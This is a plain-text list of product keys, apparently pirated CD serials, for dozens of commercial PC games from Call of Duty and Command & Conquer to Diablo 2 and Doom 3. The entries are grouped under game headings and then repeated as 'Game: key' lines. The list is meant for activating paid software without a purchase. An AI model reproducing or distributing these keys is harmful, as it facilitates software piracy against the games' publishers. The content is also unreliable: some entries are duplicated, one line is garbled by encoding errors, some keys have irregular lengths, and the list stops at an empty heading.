CDF7-2L2D-4QKK-2329-VG9J

Big Scale Racing
----------------
A4FL-2BTO-E8WN-2ESU
93GI-44MP-80GI-B4MP
1EGO-E5AI-66SG-23AY
D303-CA11-8356-E548
7A84-EB75-7454-4282

Black and White
----------------
5615-5218520-3198589-3037
9545-4379446-1230565-7092
1334-5330370-2292790-4422
7450-7423821-6747420-6866
4796-5617828-4021917-4194

Black and White: Creature Isle
----------------
7622-1467955-6016762-0529
2891-6593534-1909669-1431
7310-9173434-7386602-0753
4153-8092897-3409943-5649
9688-6176943-7166216-4217

Breed
----------------
HK7H9-RM4WL-N97NR-TGMXH-RTR3C
XXEME-W99GG-W7ERH-39RGT-MW7HE
R34RE-KNHLH-HTERG-LMKMH-CG7T9
4C3N4-XTEEG-GE9KE-4CHMG-9R3L7
N3KEN-3KHNN-GCM9R-RL7XN-9CMH9

Call of Duty
----------------
HKPH-WT3S-8XHU-2YHW-46C4
Y2SG-8W4P-4YYU-SXY8-5A89
KUP8-GX2H-K8SY-P2KG-90EF
TGYT-UPEK-GKUE-WTTU-F9E3
X42D-8GXD-HXS2-TGX8-1AD0

Call of Duty: United Offensive
----------------
74B3-JN4N-4WT4-WRHN-64BF
BZTZ-UWG7-UNTN-J7RN-BDE5
DUSU-3TSU-GETW-TYHY-7146
81C5-AB2T-8ZQ9-ESSE-46TZ
N4XK-7TRU-WRDB-JDUT-C4D4

Catwoman
----------------
7JEN-FFXT-E9JW-QN99-BJB6
DC4L-ACZF-W9J6-8EVA-7QVK
KLHH-EWUM-NL7L-9EFK-55GQ
KZ2J-YGTH-BMRK-A53R-NHVH
T5NW-7TWB-4F5F-L27D-BD22

Chrome
----------------
7XBYF-E7BW2-FCAP3-YPIFL
6TLMS-5UVWA-F8333-G2PCR
TAPES-7W9GJ-BPE4Z-8IGLW
6JMYB-CTGPT-ESR4X-Z7UMX
2MWZF-C7FWI-6TJK2-PCSLX

Command & Conquer Generals
----------------
8647-5232955-9878125-6046
9870-3450510-3133911-0726
4511-1729151-9897130-2429
5755-2361463-3448299-3710
5773-7726562-6842888-1323

Command & Conquer Generals: Zero Hour
----------------
YNEN-2FQN-JRYA-G3AB-JSX3
47HH-LWW6-F8AG-AQ7V-2GDP
47P7-JEQX-3CLY-7X53-S5K4
TDLU-665P-JYU5-5ASP-R246
XEJ2-L8YD-D7T3-6RCV-2G6V

Command & Conquer Red Alert 2
----------------
023093-408048-703486-5751
026929-458543-625750-0149
024971-477113-030353-1433
022921-207519-387995-8278
030119-499472-709335-3679

Command & Conquer Red Alert 2:Yuri's Revenge
----------------
046289-119931-094801-3903

047653-310394-811521-8281
049442-251271-777606-6959
051293-740133-308111-8676
046259-657889-882161-5974

Command & Conquer Renegade
----------------
061991-914060-171113-5190
056629-874691-293836-0722
064016-686792-796977-2716
057225-538796-853287-6511
060596-686641-669815-8850

Command & Conquer Tiberian Sun
----------------
685618-936422-961962-7039
835452-395171-622239-3092
257044-656814-148128-3482
601662-875090-962214-1926
169044-690442-019375-9514

Comanche 4
----------------
KGQJ-8M68-7JQW-DUCV-WLC6
3S2D-FLT1-CLS2-RULE-7865
36V8-BLMT-MXWY-EULX-YMSJ

Counter Strike
----------------
9271-77260-7184
6996-03006-9065
5902-51615-6065
3727-25598-3910
8940-76820-2401

Counter Strike:Condition Zero
----------------
5Z62F-CEKQD-4WCZT-TAWQH-JGLFQ
54RT2-843TJ-79UJC-ZGVC5-AR3R2
5ZN2H-NWHEY-RRM7H-PZAXA-GIFQJ
5Z62E-MTXQZ-Z32IY-NW22l-A3C4Q
5RP2E-EPH3K-BR3LG-KMGTE-FN8PY

Delta Force 2
----------------
288T-9AJ2-CVXN-BYSS-NNZW
293C-RQQ7-W2X8-DAQR-YSC4
JTUH-LTHD-BCZV-HFBY-SSNN
24XZ-GHAT-H7W7-C2UP-G559
JSZZ-PPPW-T8BC-TV46-5WSS

Delta Force: Black Hawk Down
----------------
QZP3-EPZW-SP5N-2XEX-H7JG
QTZ3-RHZT-P5TB-LQXH-7JD3
QKMT-LYAB-HIWB-ZMNW-FYPV
QMVQ-NF78-GJMG-XU2B-TZ5K
87HJ-AIFM-AMAO-PFCR-SMSQ

Delta Force: Black Hawk Down Team Sabre
----------------
AV4E-YVQE-NACM-DD3M-KBW3
ABRR-65QC-S4AQ-S2G7-CKCG
ACWY-D9VK-72CJ-5S5A-9MQU
A587-HGH6-HZ47-GNBT-HRNA
A7YL-R5SH-MY2E-4JPA-ZJB3

Delta Force:Land Warrior
----------------
6B4T-3BBC-DASD-D97Q-59HX
N5E3-YXH2-G983-9WYB-B3ZS
N7Q9-UX77-KZ3Z-332A-W4TR
NTEG-6HCF-VU5D-HDMC-47S9
NMBP-8MX8-ESD4-RB7S-9HKZ

Delta Force:Task Force Dagger
----------------
7S5E-MVLM-NS6Y-4X64-HMAK
7NXF-L5VB-T2AX-KSR8-EHSH
743L-HGSU-SK5P-YCKS-HQLZ
72YL-R4SB-GKG6-3WKS-HQ27

Diablo 2
----------------
6PNP-D7PG-HZ8M-PZNP
FX7D-82PH-FTWB-2BR2
2P8D-897Z-BNNJ-PJRM
EBPE-F7XN-9HWC-K97K
496B-6N7G-RCV4-27EN

Call of Duty: 82SH-E2WH-KPYY-EX8E-A14D

Call of Duty: DEUD-WYDE-4W42-YKDW-F34D

Call of Duty: WDWE-YW8Y-XWWD-TYWY-1EAF

Call of Duty: TXSK-WGDY-WDSX-WPTW-1A7C
C & C Generals: 1116-0553323-4206438-6378
C & C Generals: 1529-4165093-5283471-0961
C & C Generals: 1554-3519303-5863106-2960

C & C Generals: Zero Hour: AZNE-P748-W8C4-SSWS-4E8S

C & C Generals: Zero Hour: PA7F-J4AX-TD9N-92FZ-4BUR

C & C Generals: Zero Hour: PA7F-J4AX-TD9N-92FZ-4BUR

C & C Generals: Zero Hour: PA7F-J4AX-TD9N-92FZ-4BUR
C & C Red Alert 2: 020736-428526-011875-6507
C & C Red Alert 2: 022121-905624-825895-4992
C & C Red Alert 2: 030645-633345-452378-0580
C & C Red Alert 2 Yuri's Revenge: 303440-222764-534487-73438
C & C Red Alert 2 Yuri's Revenge: 662875-454133-344823-08464
C & C Red Alert 2 Yuri's Revenge: 075420-663711-111417-71038

C & C Renegade: 056894-929488-118387-9679
C & C Renegade: 056762-051968-047885-5190
C & C Renegade: 056968-762379-840140-8243
C & C Renegade: 056384-165067-858508-3234
C & C Renegade: 056120-230755-848844-5718
C & C Renegade: 056198-391485-391948-9024
C & C Renegade: 056924-738095-184588-5738
C & C Renegade: 056038-648693-313100-7109
C & C Renegade: 056493-234166-827916-2001
C & C Renegade: 056430-651581-593164-8339
C & C Tiberian Sun: 008302-889914-451062-6091
C & C Tiberian Sun: 010436-881681-537098-4027
C & C Tiberian Sun: 263877 906189 200291 2883
C & C Tiberian Sun: 266127 314485 240039 3713
C & C Tiberian Sun: 781866 616595 819275 5016
C & C Tiberian Sun: 781866 616595 819275 5016

Chaser: 52QJY-10K8V-CLNPI-1EISW-7VNP3

Chaser: 3RVXB-6ICGE-PYX7T-KJ9L9-LSG5H

Chaser: 2QIMX-NU6MT-O74UI-D9OS0-XW4N5

Chaser: 63PRZ-360N5-7SWUY-XR0A5-DIFCA

Chrome: MZIC3-MLNTS-VL45L-8MG26

Chrome: 53ZFH-CKE6T-3TPXJ-82W00

Chrome: XICVC-IZM6A-GTAHP-I4X6H
Clive Barker's Undying: 2500-0911911-09

Commanche 4: 3s2d-flt1-cls2-rule-7865
Commanche 4: KGQJ-8M68-7JQW-DUCV-WLC6

Cricket Jr 3.2.25: NÃƒÆ’Ã†â€™Ãƒâ€šÃ‚Â©v: .:i2k:. System ID: .:i2k:. KÃƒÆ’Ã†â€™Ãƒâ€šÃ‚Â³d: CJr1-94805-YZSVI-SQ6Lv

Dark Age of Camelot: HAVDVIL-YATYBA9-WX18VXE-MP43QAQ-HUGUTMX
Dark Reign 2: gad6-teb4-cup9-pap6-5529
Deep Raider: 102050000000001
Delta Force 2: JTUH-LTHD-BCZV-HFBY-SSNN
Delta Force 3: N5E3-YXH2-G983-9WYB-B3ZS
Delta Force 3: N7Q9-UX77-KZ3Z-332A-W4TR
Delta Force Task Force Dagger: 72YL-R4SB-GKG6-3WKS-HQ27
Delta Force Black Hawk Down: Q96Y-LTGO-YVYE-GJBA-CWGV
Delta Force Black Hawk Down: 88ER-GPOV-KCWM-EUPP-HLWP
Delta Force Black Hawk Down: QKUG-DNPY-UAHT-HYFQ-LRDH

Der erste Kaiser: RED2-DAD2-RAD2-DAD2-888
Devastation: 5B36F-976AA-6A471-58B8D-92B7B
Devastation: GUHW6-TC9VN-IMSAA-9B162-6RBR9
Devastation: BQEE6-UWZM3-IMSSZ-6A2B1-3D5F3

Diablo 2: LOD 6PNP-D7PG-HZ8M-PZNP
Diablo 2: 4CHW-RT4M-9JPN-2G4B
Diablo 2: 6EPM-27Z9-99D2-KM7B
Diablo 2: 79ER-XTM4-HNDK-DWE6
Diablo 2: 848J-XN72-9NZP-82FP
Diablo 2: 879K-9G4N-B9CV-2CTK
Diablo 2: 8DRR-VTH6-RGZ7-RT2V
Diablo 2: B2PF-JGJ9-J74C-H7T2
Diablo 2: BFCT-F4MN-RCH7-RDCF
Diablo 2: EJ6V-BT4D-9NDC-77TF
Diablo 2: FBWG-8NME-GZDW-7H9E
Diablo 2: GHXX-829D-2M9T-H48W
Diablo 2: HJ4E-N2MJ-XHXP-NZXV
Diablo 2: J2J8-MDKZ-8G47-4KXB
Diablo 2: J9NC-FTHN-PC4N-7RHH
Diablo 2: KDZD-DR7W-92DX-FR8J
Diablo 2: KFJH-WDNF-HGXT-HEH6
Diablo 2: N64H-7J9X-JMCN-NG74
Diablo 2: NDGX-TGNK-XPGE-GGWR
Diablo 2: PHFF-ZGZX-ZXKZ-2G7C
Diablo 2: TBKJ-B79J-N6NJ-86MB
Diablo 2: TPDC-HWNF-NVMV-VCXV
Diablo 2: VV86-CGKN-EVBP-T7TC
Diablo 2: WEJ2-X28V-R727-VC2T
Diablo 2: WVE6-RTNC-TFHG-EVXP
Diablo 2: XWMN-D97T-6E6H-TPM2
Diablo 2 LoD: HFCN-H9DD-PBGE-G9K9
Diablo 2 LoD: EV4D-GGRZ-8DVH-H9D4
Diablo 2 LoD: 6689-JDRR-B6DC-7WKZ
Drome Racers: 0252-2798728-8952823-5920
Drome Racers: 2186-7410760-3617868-5920
Drome Racers: 2574-0811768-6410528-5503
Drome Racers: 1439-8808778-3837107-0023
Drome Racers: 3496-5109968-3484992-4129
Drome Racers: 5533-3743808-8068198-0827
Drome Racers: 9722-8289078-1586124-0933
Drome Racers: 2586-2653924-6182119-2114
Drome Racers: 7629-5200391-8195325-1003
Drome Racers: 2586-7722941-9698255-6023
Drome Racers: 4912-5083939-6799769-1518
Drome Racers: 3576-6582544-1616335-0011
Drome Racers: 5328-2536186-2146291-0234

Diablo 2: Lord of Destruction
----------------
FX7D-82PH-FTWB-2BR2
6PNP-D7PG-HZ8M-PZNP
VCV9-N7RN-H9C4-VDBT
M4ND-6TPT-GH4N-FCKX
HCJJ-4DPH-988V-8HNN

Doom 3
----------------
2DR3-ABTC-AJLB-BLJH-4C
G4GE-JUMZ-BJYV-FEJU-02
WHUT-TLKX-PDV3-EAQ6-70
GURD-YVDJ-3LD2-W9Q8-91
MZK7-4LB8-42FJ-HCNA-75

Doom 3: Resurrection of Evil
----------------
PSBC-TASC-33WB-PH7L-C0
(Later...)
T7LB-BD27-TWLC-SDGD-F6

Dope Wars
----------------
373B30292B1131240889MI8770MMI7I573M288MH
2D3917122B2A1F380988M8890M85J9J773M28481
19123D212D19301C0I8M87MI0K84I7JI0H898884
15353C253A3A3A310I8MM8857387I7JM0I8J8581
381A3A3B151E1C18758987MH0K81I5I70IM48785

Drome Racers
----------------
0252-2798728-8952823-5920
2186-7410760-3617868-5920
3496-5109968-3484992-4129
7629-5200391-8195325-1003
2574-0811768-6410528-5503

Empires: Dawn of The Modern World
----------------
CGAT-NPZZ-NZW8-NC8X-D096
THXH-39CZ-N898-TT44-5DF5
KH9W-AWGX-4J4H-48AP-53B1
XA9Z-4JW8-C9GN-KJGP-C490
8P49-PP4T-WGCX-KP33-FB7B

Empire Earth
----------------
LES9-RUC2-TYM8-CEJ3-2727
TUS5-LEF6-TEM9-MER6-7453
NYR2-BAD2-GYM5-CEZ6-7337
RAN6-MUG2-SYJ2-GYL7-3385

Empire Earth: Art of Conquest
----------------
GER2-MAN2-RAP2-PER5-2252
BYB2-SAB8-WYZ5-DEB2-8489
TUS2-GAC4-BAM9-SUL6-8545

Emperor: Battle For Dune
---------------- <